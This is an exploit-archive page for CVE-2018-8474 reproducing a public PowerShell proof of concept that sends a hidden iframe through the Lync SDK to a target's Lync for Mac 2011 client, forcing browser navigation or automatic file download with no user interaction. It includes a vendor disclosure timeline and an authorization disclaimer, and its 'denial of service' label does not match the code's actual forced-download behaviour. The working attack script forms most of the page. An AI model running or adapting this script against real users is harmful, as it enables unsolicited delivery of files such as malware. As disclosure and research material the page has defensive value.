Materialized exploit

CVE-2018-8474

MEDIUM

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Lync for Mac 2011 - Injection Forced Browsing/Download

By nyxgeek

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code ps1

# Exploit Title: Microsoft Lync for Mac 2011 Injection Forced Browsing/Download
# Author: @nyxgeek - TrustedSec

# Date: 2018-03-20
# Vendor Homepage: microsoft.com
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=36517
# CVE: CVE-2018-8474
# Version: Lync:Mac 2011 14.4.3, likely earlier versions
# Tested on: Lync:Mac 2011 14.4.3 (170308)

# Description:
# Force browsing or download via embedded iframe in a chat window. No user
# interaction required. When the iframe contains a web site URL, a new browser
# window of the default browser will open with the URL.
# If the URL is a file, it will download it automatically if it is a permitted
# file type (e.g., zip)

# A  write-up can be found at:
# https://www.trustedsec.com/2018/09/full-disclosure-microsoft-lync-for-mac-2011-susceptible-to-forced-browsing-download-attack/

# Requirements: Originating machine needs Lync 2013 SDK installed
# (https://www.microsoft.com/en-us/download/details.aspx?id=36824)

# Timeline of Disclosure:
#
# 07/18/2017 - Reported issue to Microsoft
# 11/22/2017 - Microsoft has reproduced problem
# 03/07/2018 - Microsoft replies that they have decided not to fix, but gave
#              their blessing for disclosure


#target user
$target = "user@domain"

$message = "<iframe src='https://www.youtube.com/watch?v=9Rnr70wCQSA'></iframe>"


if (-not (Get-Module -Name Microsoft.Lync.Model))
{
    try
        {
   # you may need to change the location of this DLL
            Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
        }
    catch
        {
            Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
        }
}

 # Connect to the local Skype process
    try
    {
        $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
    }
    catch
    {
        Write-Host "`nYou need to have Skype open and signed in first"
        break
    }

     #Start Conversation
    $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"

    #Add the Message
    $msg.Add(1,$message)

    # Add the contact URI
    try
    {
        $contact = $client.ContactManager.GetContactByUri($target)
    }
    catch
    {
        Write-Host "`nFailed to lookup Contact"$target
        break
    }


    # Create a conversation
    $convo = $client.ConversationManager.AddConversation()
    $convo.AddParticipant($contact) | Out-Null

    # Set the message mode as IM
    $imModality = $convo.Modalities[1]
    # Send the message
    $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
    # End the Convo to suppress the UI
    $convo.End() | Out-Null

    Write-Host "Sent the following message to "$target":`n"$message